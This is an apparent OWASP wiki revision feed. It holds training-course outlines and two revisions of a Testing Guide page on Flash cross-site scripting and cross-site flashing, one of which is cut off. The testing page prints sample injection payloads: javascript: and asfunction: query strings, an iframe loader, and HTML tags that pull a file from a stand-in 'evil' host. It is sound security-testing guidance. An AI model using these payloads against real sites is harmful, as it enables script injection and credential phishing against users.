* [[Education_Module_OWASP_Top_10_Introduction_and_Remedies|OWASP Top 10 Introduction &amp;amp; Remedies]] (90 min) ([http://www.owasp.org/images/b/b8/Education_Module_OWASP_Top_10_Introduction_and_Remedies.ppt direct link])&lt;br /&gt;
:The primary aim of the OWASP Top 10 is to educate developers, designers, architects and organizations about the consequences of the most common web application security vulnerabilities. The Top 10 provides basic methods to protect against these vulnerabilities.&lt;br /&gt;
:*[[Education Module Cross Site Scripting (XSS)|Cross Site Scripting (XSS)]]&lt;br /&gt;
:*Injection Flaws&lt;br /&gt;
:*Malicious File Execution&lt;br /&gt;
:*Insecure Direct Object Reference&lt;br /&gt;
:*Cross Site Request Forgery (CSRF)&lt;br /&gt;
:*Information Leakage and Improper Error Handling&lt;br /&gt;
:*Broken Authentication and Session Management&lt;br /&gt;
:*Insecure Cryptographic Storage&lt;br /&gt;
:*Insecure Communications&lt;br /&gt;
:*Failure to Restrict URL Access&lt;br /&gt;
*[[Education Module Embed within SDLC|Embed within SDLC]] (People, Processes &amp;amp; Tools) (20 min) ([http://www.owasp.org/images/f/f2/Education_Module_Embed_within_SDLC.ppt direct link])&lt;br /&gt;
:There is no silver bullet when it comes to securing web applications. This problem has to be addressed from different angles, covering the involved actors, processes: development as well as deployment and Technologies.&lt;br /&gt;
:*People Awareness and Education&lt;br /&gt;
:*Development WebAppSec Controls&lt;br /&gt;
:*Deployment WebAppSec Controls&lt;br /&gt;
:*WebAppSec Tools&lt;br /&gt;
*[[Education Module Good Secure Development Practices|Good Secure Development Practices]] (70 min) ([http://www.owasp.org/images/5/57/Education_Module_Good_Secure_Development_Practices.ppt direct link])&lt;br /&gt;
:Next to the Top 10 remedies this module provides some good secure development practices from the OWASP Guide, covering e.g.&lt;br /&gt;
:*Validating User Input &lt;br /&gt;
:*Authentication&lt;br /&gt;
:*Authorization&lt;br /&gt;
:*Session Management&lt;br /&gt;
:*Using Interpreters&lt;br /&gt;
:*Crypto&lt;br /&gt;
:*Catching Errors&lt;br /&gt;
:*File System&lt;br /&gt;
:*Configuration&lt;br /&gt;
:*Web 2.0&lt;br /&gt;
*[[Education Module Testing for Vulnerabilities|Testing for Vulnerabilities]] (20 min) ([http://www.owasp.org/images/4/49/Education_Module_Testing_for_Vulnerabilities.ppt direct link])&lt;br /&gt;
:One important aspect is to test for application vulnerabilities. During this short module an introduction is provided together with some WebGoat test cases.&lt;br /&gt;
:*Testing for application vulnerabilities&lt;br /&gt;
:*The OWASP Testing Guide&lt;br /&gt;
:*WebGoat demonstrated&lt;br /&gt;
*[[Education Module Good WebAppSec Resources|Good WebAppSec Resources]] (not limited to OWASP) (10 min) ([http://www.owasp.org/images/f/fe/Education_Module_Good_WebAppSec_Resources.ppt direct link])&lt;br /&gt;
:This 4 hour education track in only the beginning of your journey. Web application security is a moving target. New vulnerabilities and threats are discovered regularly. Web application security controls are becoming mature. The following resources should provide you with enough pointers to serve both as reference and for further research.&lt;br /&gt;
:*Hard Copy&lt;br /&gt;
:*Web Sites&lt;br /&gt;
:*Mailing lists&lt;br /&gt;
:*Blogs&lt;br /&gt;
*Roundup (10 min)&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Education Project]]&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Linux Software Exploitation ==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Nam Nguyen&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
2 days&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
This course is a primer into software exploitation on the Linux environment. The course assumes only basic understanding of the Linux commands, and C programming with the standard library. It explains the computer architecture, assembly language then moves on to three basic classes of security bug: buffer overflow, format string, and race condition and methods to take advantage of them. Throughout the course, various examples are introduced with increasing difficulty so that participants will naturally realize the art of software exploitation for themselves.&lt;br /&gt;
&lt;br /&gt;
This course does not discuss about shell coding. Except on one example where provided shell code is used as an illustration, all other challenges require only good analysis and calculation.&lt;br /&gt;
&lt;br /&gt;
The course is conducted as a workshop with heavy interaction between participants and instructor. There will not be any presentation slide. Participants are to take note during the course.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Software developers, system administrators, security engineers with some experience in Linux and C programming.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
# Computer architecture&lt;br /&gt;
# Assembly language&lt;br /&gt;
# Buffer overflow&lt;br /&gt;
# Format string&lt;br /&gt;
# Race condition&lt;br /&gt;
# Techniques&lt;br /&gt;
## Overwrite critical variable&lt;br /&gt;
## Overwrite return address&lt;br /&gt;
## Return to .text&lt;br /&gt;
## Return to libc&lt;br /&gt;
## Overwrite .dtors&lt;br /&gt;
## Overwrite .got&lt;br /&gt;
## Overwrite .bss, functors&lt;br /&gt;
## By pass Advanced Space Layout Randomization&lt;br /&gt;
# Tools of the trade: IDA, GDB, and Python&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Bring your own laptop with VMWare Player or equivalent. An VM image will be provided.&lt;br /&gt;
&lt;br /&gt;
== Course Name {template} ==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_flashing_(OTG-CLIENT-008)&amp;diff=39077</id>
		<title>Testing for Cross site flashing (OTG-CLIENT-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_flashing_(OTG-CLIENT-008)&amp;diff=39077"/>
				<updated>2008-09-10T07:28:24Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Html Injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
ActionScript is the language, based on ECMAScript, used by Flash application when dealing with&lt;br /&gt;
interactive needs. &lt;br /&gt;
ActionScript, like every other language, has some implementation pattern which could lead to &lt;br /&gt;
security issues.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In particular, since Flash application are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the first publication of &amp;quot;Testing Flash Applications&amp;quot; [1], new versions of Flash player &lt;br /&gt;
were released in order to mitigate some of the attacks which will be described.&lt;br /&gt;
Nevertheless some issue still remains exploitable because it strongly depends on developer insecure&lt;br /&gt;
programming practices.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Decompilation ===&lt;br /&gt;
&lt;br /&gt;
Since SWF files are interpreted by a virtual machine embedded in the player itself, &lt;br /&gt;
they can be potentially decompiled and analysed.&lt;br /&gt;
The most known and free ActionScript 2.0 decompiler is flare.&lt;br /&gt;
&lt;br /&gt;
To decompile a swf file with flare just type:&lt;br /&gt;
&lt;br /&gt;
 $ flare hello.swf&lt;br /&gt;
&lt;br /&gt;
it will result in a new file called hello.flr.&lt;br /&gt;
&lt;br /&gt;
Decompilation helps testers in the process of testing because it&lt;br /&gt;
moves black box to white box.&lt;br /&gt;
&lt;br /&gt;
There's no free decompiler for ActionScript 3.0 at the moment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Undefined Variables ===&lt;br /&gt;
&lt;br /&gt;
On actionscript 2 entry points are retrieved by looking at every undefined attribute &lt;br /&gt;
beloging to _root and _global objects, since Actionscript 2 behaves as every member &lt;br /&gt;
belonging to _root or _global objects were instantiable by &lt;br /&gt;
url querystring parameters. That means that if an attribute like:&lt;br /&gt;
&lt;br /&gt;
 _root.varname &lt;br /&gt;
&lt;br /&gt;
results &amp;quot;undefined&amp;quot; at some point of code flow, it could be overwritten by setting&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?varname=value&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  movieClip 328 __Packages.Locale {&lt;br /&gt;
&lt;br /&gt;
    #initclip&lt;br /&gt;
      if (!_global.Locale) {&lt;br /&gt;
        var v1 = function (on_load) {&lt;br /&gt;
          var v5 = new XML();&lt;br /&gt;
          var v6 = this;&lt;br /&gt;
          v5.onLoad = function (success) {&lt;br /&gt;
            if (success) {&lt;br /&gt;
              trace('Locale loaded xml');&lt;br /&gt;
              var v3 = this.xliff.file.body.$trans_unit;&lt;br /&gt;
              var v2 = 0;&lt;br /&gt;
              while (v2 &amp;lt; v3.length) {&lt;br /&gt;
                Locale.strings[v3[v2]._resname] = v3[v2].source.__text;&lt;br /&gt;
                ++v2;&lt;br /&gt;
              }&lt;br /&gt;
              on_load();&lt;br /&gt;
            } else {}&lt;br /&gt;
          };&lt;br /&gt;
          if (_root.language != undefined) {&lt;br /&gt;
            Locale.DEFAULT_LANG = _root.language;&lt;br /&gt;
          }&lt;br /&gt;
          v5.load(Locale.DEFAULT_LANG + '/player_' +&lt;br /&gt;
                              Locale.DEFAULT_LANG + '.xml');&lt;br /&gt;
        };&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Could be attacked by requesting:&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?language=http://evil&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Unsafe Methods ===&lt;br /&gt;
&lt;br /&gt;
When an entry point is identified the data it represents could be used by unsafe methods.&lt;br /&gt;
If the data is not filtered/validated using the right regexp it could lead to some security issue.&lt;br /&gt;
&lt;br /&gt;
Unsafe Methods since version r47 are:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
loadVariables()&lt;br /&gt;
loadMovie()&lt;br /&gt;
getURL()&lt;br /&gt;
loadMovie()&lt;br /&gt;
loadMovieNum()&lt;br /&gt;
FScrollPane.loadScrollContent()&lt;br /&gt;
LoadVars.load &lt;br /&gt;
LoadVars.send &lt;br /&gt;
XML.load ( 'url' )&lt;br /&gt;
LoadVars.load ( 'url' ) &lt;br /&gt;
Sound.loadSound( 'url' , isStreaming ); &lt;br /&gt;
NetStream.play( 'url' );&lt;br /&gt;
&lt;br /&gt;
flash.external.ExternalInterface.call(_root.callback)&lt;br /&gt;
&lt;br /&gt;
htmlText&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The Test ===&lt;br /&gt;
&lt;br /&gt;
In order to exploit a vulnerability the swf file should be hosted on the victim host, and&lt;br /&gt;
the techniques of reflected Xss must be used.&lt;br /&gt;
That is forcing the browser to load a pure swf file directly in the location bar &lt;br /&gt;
( by redirection or social engineering) or by loading it through an iframe from an evil page:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;iframe src='http://victim/path/to/file.swf'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is because in this situation the browser will self generate a Html page as if it were hosted &lt;br /&gt;
by the victim host.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Xss ===&lt;br /&gt;
&lt;br /&gt;
'''GetURL:'''&lt;br /&gt;
&lt;br /&gt;
GetURL Function lets the movie to load a URI into Browser's Window. &lt;br /&gt;
So if an undefined variable is used as first argument for getURL:&lt;br /&gt;
&lt;br /&gt;
 getURL(_root.URI,'_targetFrame');&lt;br /&gt;
&lt;br /&gt;
This means it's possible to call javascript in the same domain where the movie is hosted by &lt;br /&gt;
requesting:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 http://victim/file.swf?URI=javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
 getURL('javascript:evilcode','_self');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The same when only some part of getURL is controlled:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Dom Injection with Flash javascript injection&lt;br /&gt;
 &lt;br /&gt;
	getUrl('javascript:function('+_root.arg+')) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''asfunction:'''&lt;br /&gt;
&lt;br /&gt;
 You can use the special asfunction protocol to cause &lt;br /&gt;
 the link to execute an ActionScript function in a&lt;br /&gt;
 SWF file instead of opening a URL...&amp;quot; (Adobe.com)&lt;br /&gt;
&lt;br /&gt;
Until release r48 of Flash player asfunction could be used on every method which has a url&lt;br /&gt;
as argument.&lt;br /&gt;
&lt;br /&gt;
This means that a tester could try to inject:&lt;br /&gt;
&lt;br /&gt;
 asfunction:getURL,javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
in every unsafe method like:&lt;br /&gt;
&lt;br /&gt;
 loadMovie(_root.URL)&lt;br /&gt;
&lt;br /&gt;
by requesting:&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''ExternalInterface:'''&lt;br /&gt;
&lt;br /&gt;
ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction.&lt;br /&gt;
&lt;br /&gt;
From a security point of view it could be abused when part of its argument could be controlled:&lt;br /&gt;
&lt;br /&gt;
 flash.external.ExternalInterface.call(_root.callback);&lt;br /&gt;
 &lt;br /&gt;
the attack pattern for this kind of flaw should be something like the following:&lt;br /&gt;
eval(evilcode)&lt;br /&gt;
&lt;br /&gt;
since the internal javascript which is executed by the browser will be something similar to:&lt;br /&gt;
&lt;br /&gt;
 eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { &amp;quot;&amp;lt;undefined/&amp;gt;&amp;quot;; }')&lt;br /&gt;
&lt;br /&gt;
=== Html Injection ===&lt;br /&gt;
&lt;br /&gt;
TextField Objects can render minimal Html by setting:&lt;br /&gt;
&lt;br /&gt;
 tf.html = true&lt;br /&gt;
 tf.htmlText = '&amp;lt;tag&amp;gt;text&amp;lt;/tag&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
So if some part of text could be controlled by the tester, an A tag or a IMG tag could be &lt;br /&gt;
injected resulting in modifying the GUI or XSS the browser.&lt;br /&gt;
&lt;br /&gt;
Some Attack Example with A Tag:&lt;br /&gt;
&lt;br /&gt;
* Direct XSS: &amp;lt;a href='javascript:alert(123)' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call as function: &amp;lt;a href='asfunction:function,arg' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call SWF public functions: &lt;br /&gt;
    &amp;lt;a href='asfunction:_root.obj.function, arg'&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call native static as function:&lt;br /&gt;
&amp;lt;a href='asfunction:System.Security.allowDomain,evilhost' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
IMG tag could be used as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src='http://evil/evil.swf' &amp;gt;&lt;br /&gt;
 &amp;lt;img src='javascript:evilcode//.swf' &amp;gt; (.swf is necessary to bypass flash player internal filter)&lt;br /&gt;
&lt;br /&gt;
Note: since release 124 of Flash player XSS is no more exploitable, but GUI modification could still &lt;br /&gt;
be accomplished.&lt;br /&gt;
&lt;br /&gt;
=== Cross Site Flashing ===&lt;br /&gt;
&lt;br /&gt;
Cross Site Flashing (XSF) is a vulnerability which has a similar impact than with Xss.&lt;br /&gt;
&lt;br /&gt;
XSF Occurs when from different domains:&lt;br /&gt;
&lt;br /&gt;
* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it&lt;br /&gt;
* XSF could also occurs when an HTML page uses JavaScript to command a Macromedia Flash movie, for example, by calling:&lt;br /&gt;
** GetVariable: access to flash public and static object from javascript as a string.&lt;br /&gt;
** SetVariable: set a static or public flash object to a new  string value from javascript. &lt;br /&gt;
* Unexpected Browser to swf communication could result in stealing data from swf application.&lt;br /&gt;
&lt;br /&gt;
It could be perfomed by forcing a flawed swf to load an external evil flash file.&lt;br /&gt;
&lt;br /&gt;
This attack could result in Xss or in the modification of the GUI in order to fool a user to &lt;br /&gt;
insert credentials on a fake flash form.&lt;br /&gt;
&lt;br /&gt;
XSF could be used in presence of Flash Html Injection or external swf files when loadMovie*&lt;br /&gt;
methods are used.&lt;br /&gt;
&lt;br /&gt;
=== Attacks and Flash Player Version ===&lt;br /&gt;
&lt;br /&gt;
Since May 2007 three new versions of Flash player were released by Adobe.&lt;br /&gt;
Every new version restricts some of the attacks previously described.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
| Attack         | asfunction | ExternalInterface | GetURL  | Html Injection | &lt;br /&gt;
| Player Version |&lt;br /&gt;
| v9.0 r47/48    |  Yes       |   Yes             | Yes     |     Yes        |&lt;br /&gt;
| v9.0 r115      |  No        |   Yes             | Yes     |     Yes        |&lt;br /&gt;
| v9.0 r124      |  No        |   Yes             | Yes     |     Partially  |&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt&lt;br /&gt;
&lt;br /&gt;
* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt&lt;br /&gt;
&lt;br /&gt;
* Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html&lt;br /&gt;
&lt;br /&gt;
* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html&lt;br /&gt;
&lt;br /&gt;
* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html&lt;br /&gt;
&lt;br /&gt;
* The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder&lt;br /&gt;
&lt;br /&gt;
* Decompiler – Flare: http://www.nowrap.de/flare.html&lt;br /&gt;
&lt;br /&gt;
* Compiler – MTASC: &amp;lt;http://www.mtasc.org/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disassembler – Flasm: &amp;lt;http://flasm.sourceforge.net/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Swfmill – Convert Swf to XML and vice versa: &amp;lt;http://swfmill.org/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Debugger Version of Flash Plugin/Player: &amp;lt;http://www.adobe.com/support/flash/downloads.html&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_flashing_(OTG-CLIENT-008)&amp;diff=39076</id>
		<title>Testing for Cross site flashing (OTG-CLIENT-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_flashing_(OTG-CLIENT-008)&amp;diff=39076"/>
				<updated>2008-09-10T07:25:42Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Xss */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
ActionScript is the language, based on ECMAScript, used by Flash application when dealing with&lt;br /&gt;
interactive needs. &lt;br /&gt;
ActionScript, like every other language, has some implementation pattern which could lead to &lt;br /&gt;
security issues.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In particular, since Flash application are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the first publication of &amp;quot;Testing Flash Applications&amp;quot; [1], new versions of Flash player &lt;br /&gt;
were released in order to mitigate some of the attacks which will be described.&lt;br /&gt;
Nevertheless some issue still remains exploitable because it strongly depends on developer insecure&lt;br /&gt;
programming practices.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Decompilation ===&lt;br /&gt;
&lt;br /&gt;
Since SWF files are interpreted by a virtual machine embedded in the player itself, &lt;br /&gt;
they can be potentially decompiled and analysed.&lt;br /&gt;
The most known and free ActionScript 2.0 decompiler is flare.&lt;br /&gt;
&lt;br /&gt;
To decompile a swf file with flare just type:&lt;br /&gt;
&lt;br /&gt;
 $ flare hello.swf&lt;br /&gt;
&lt;br /&gt;
it will result in a new file called hello.flr.&lt;br /&gt;
&lt;br /&gt;
Decompilation helps testers in the process of testing because it&lt;br /&gt;
moves black box to white box.&lt;br /&gt;
&lt;br /&gt;
There's no free decompiler for ActionScript 3.0 at the moment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Undefined Variables ===&lt;br /&gt;
&lt;br /&gt;
On actionscript 2 entry points are retrieved by looking at every undefined attribute &lt;br /&gt;
beloging to _root and _global objects, since Actionscript 2 behaves as every member &lt;br /&gt;
belonging to _root or _global objects were instantiable by &lt;br /&gt;
url querystring parameters. That means that if an attribute like:&lt;br /&gt;
&lt;br /&gt;
 _root.varname &lt;br /&gt;
&lt;br /&gt;
results &amp;quot;undefined&amp;quot; at some point of code flow, it could be overwritten by setting&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?varname=value&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  movieClip 328 __Packages.Locale {&lt;br /&gt;
&lt;br /&gt;
    #initclip&lt;br /&gt;
      if (!_global.Locale) {&lt;br /&gt;
        var v1 = function (on_load) {&lt;br /&gt;
          var v5 = new XML();&lt;br /&gt;
          var v6 = this;&lt;br /&gt;
          v5.onLoad = function (success) {&lt;br /&gt;
            if (success) {&lt;br /&gt;
              trace('Locale loaded xml');&lt;br /&gt;
              var v3 = this.xliff.file.body.$trans_unit;&lt;br /&gt;
              var v2 = 0;&lt;br /&gt;
              while (v2 &amp;lt; v3.length) {&lt;br /&gt;
                Locale.strings[v3[v2]._resname] = v3[v2].source.__text;&lt;br /&gt;
                ++v2;&lt;br /&gt;
              }&lt;br /&gt;
              on_load();&lt;br /&gt;
            } else {}&lt;br /&gt;
          };&lt;br /&gt;
          if (_root.language != undefined) {&lt;br /&gt;
            Locale.DEFAULT_LANG = _root.language;&lt;br /&gt;
          }&lt;br /&gt;
          v5.load(Locale.DEFAULT_LANG + '/player_' +&lt;br /&gt;
                              Locale.DEFAULT_LANG + '.xml');&lt;br /&gt;
        };&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Could be attacked by requesting:&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?language=http://evil&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Unsafe Methods ===&lt;br /&gt;
&lt;br /&gt;
When an entry point is identified the data it represents could be used by unsafe methods.&lt;br /&gt;
If the data is not filtered/validated using the right regexp it could lead to some security issue.&lt;br /&gt;
&lt;br /&gt;
Unsafe Methods since version r47 are:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
loadVariables()&lt;br /&gt;
loadMovie()&lt;br /&gt;
getURL()&lt;br /&gt;
loadMovie()&lt;br /&gt;
loadMovieNum()&lt;br /&gt;
FScrollPane.loadScrollContent()&lt;br /&gt;
LoadVars.load &lt;br /&gt;
LoadVars.send &lt;br /&gt;
XML.load ( 'url' )&lt;br /&gt;
LoadVars.load ( 'url' ) &lt;br /&gt;
Sound.loadSound( 'url' , isStreaming ); &lt;br /&gt;
NetStream.play( 'url' );&lt;br /&gt;
&lt;br /&gt;
flash.external.ExternalInterface.call(_root.callback)&lt;br /&gt;
&lt;br /&gt;
htmlText&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The Test ===&lt;br /&gt;
&lt;br /&gt;
In order to exploit a vulnerability the swf file should be hosted on the victim host, and&lt;br /&gt;
the techniques of reflected Xss must be used.&lt;br /&gt;
That is forcing the browser to load a pure swf file directly in the location bar &lt;br /&gt;
( by redirection or social engineering) or by loading it through an iframe from an evil page:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;iframe src='http://victim/path/to/file.swf'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is because in this situation the browser will self generate a Html page as if it were hosted &lt;br /&gt;
by the victim host.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Xss ===&lt;br /&gt;
&lt;br /&gt;
'''GetURL:'''&lt;br /&gt;
&lt;br /&gt;
GetURL Function lets the movie to load a URI into Browser's Window. &lt;br /&gt;
So if an undefined variable is used as first argument for getURL:&lt;br /&gt;
&lt;br /&gt;
 getURL(_root.URI,'_targetFrame');&lt;br /&gt;
&lt;br /&gt;
This means it's possible to call javascript in the same domain where the movie is hosted by &lt;br /&gt;
requesting:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 http://victim/file.swf?URI=javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
 getURL('javascript:evilcode','_self');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The same when only some part of getURL is controlled:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Dom Injection with Flash javascript injection&lt;br /&gt;
 &lt;br /&gt;
	getUrl('javascript:function('+_root.arg+')) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''asfunction:'''&lt;br /&gt;
&lt;br /&gt;
 You can use the special asfunction protocol to cause &lt;br /&gt;
 the link to execute an ActionScript function in a&lt;br /&gt;
 SWF file instead of opening a URL...&amp;quot; (Adobe.com)&lt;br /&gt;
&lt;br /&gt;
Until release r48 of Flash player asfunction could be used on every method which has a url&lt;br /&gt;
as argument.&lt;br /&gt;
&lt;br /&gt;
This means that a tester could try to inject:&lt;br /&gt;
&lt;br /&gt;
 asfunction:getURL,javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
in every unsafe method like:&lt;br /&gt;
&lt;br /&gt;
 loadMovie(_root.URL)&lt;br /&gt;
&lt;br /&gt;
by requesting:&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''ExternalInterface:'''&lt;br /&gt;
&lt;br /&gt;
ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction.&lt;br /&gt;
&lt;br /&gt;
From a security point of view it could be abused when part of its argument could be controlled:&lt;br /&gt;
&lt;br /&gt;
 flash.external.ExternalInterface.call(_root.callback);&lt;br /&gt;
 &lt;br /&gt;
the attack pattern for this kind of flaw should be something like the following:&lt;br /&gt;
eval(evilcode)&lt;br /&gt;
&lt;br /&gt;
since the internal javascript which is executed by the browser will be something similar to:&lt;br /&gt;
&lt;br /&gt;
 eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { &amp;quot;&amp;lt;undefined/&amp;gt;&amp;quot;; }')&lt;br /&gt;
&lt;br /&gt;
=== Html Injection ===&lt;br /&gt;
&lt;br /&gt;
TextField Objects can render minimal Html by setting:&lt;br /&gt;
&lt;br /&gt;
 tf.html = true&lt;br /&gt;
 tf.htmlText = '&amp;lt;tag&amp;gt;text&amp;lt;/tag&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
So if some part of text could be controlled by the tester, an a tag or a img tag could be &lt;br /&gt;
injected resulting in modifying the GUI or Xss the browser.&lt;br /&gt;
&lt;br /&gt;
Some Attack Example with A Tag:&lt;br /&gt;
&lt;br /&gt;
